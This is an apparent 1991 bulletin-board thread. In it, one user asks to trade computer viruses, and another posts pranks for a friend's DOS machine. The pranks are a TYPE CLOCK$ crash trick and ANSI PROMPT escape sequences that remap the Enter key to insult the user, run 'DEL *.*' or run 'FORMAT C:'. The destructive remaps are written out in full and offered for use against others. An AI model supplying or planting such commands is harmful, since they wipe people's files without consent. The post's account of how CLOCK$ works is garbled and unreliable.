64 lines
1.8 KiB
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64 lines
1.8 KiB
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From :Blackbird #63
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To :Griffin #81
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Subject :huh?
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DateTime:7:33 am Wed Jul 10, 1991
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Anybody got a virus? I've got a nice cascade...I'm looking for AIDS and
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any other virii I can pick up (I'm collecting these fuckers).
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From :Dj Mikey Z #1
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To :All
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Subject :Try thi slittle sucker...
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DateTime:11:15 am Wed Jul 10, 1991
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Ok. Go to a friend's house who has an IBM. Put in his CONFIG.SYS file this
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line:
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BREAK=ON
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Then get into dos. (after you've restarted the computer)...
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Type :
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TYPE CLOCK$
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The computer DIES! Why? CLOCK$ is a command in ROM/RAM BIOS (it's loaded from
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ROM into RAM (that's why when you type TIME or DATE you can change it) and
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stored in the string CLOCK$. When you do this, you're only modifying the RAM
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BIOS, so there's no PERMANENT damage.)
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Ok, you can also try that little command with
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TYPE COMx
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TYPE AUX
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TYPE LPT
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TYPE NIL
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...........
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But NEVER try this ANSI command on a friend's computer:
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Prompt $e[8;37;8;47m
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Prompt $e[30;40m
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prompt $e[=0h
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prompt $e[13;"FUCK OFF YOU STUPID BASTARD!!!!! HAHAHAHAHAHAHAHAH... What?
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Loose the function of your ENTER KEY?!?!?!?!";p
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All that top shit is pretty nice if you really hate someone. PS: Unless you
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have a program that resets the shit, you could be doomed. (or atleast have to
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re-start your computer. Although these ARE good, my favorite is this:
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Prompt $e[13;"DEL *.*";13p
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If you hit enter on a new line that way, Bye bye directory! Or try these:
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Prompt $e[13;"FORMAT C:";13;"Y";13;13p
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That's the ultimate doosie! HINT: Don't try these at home. Oh, and have fun!
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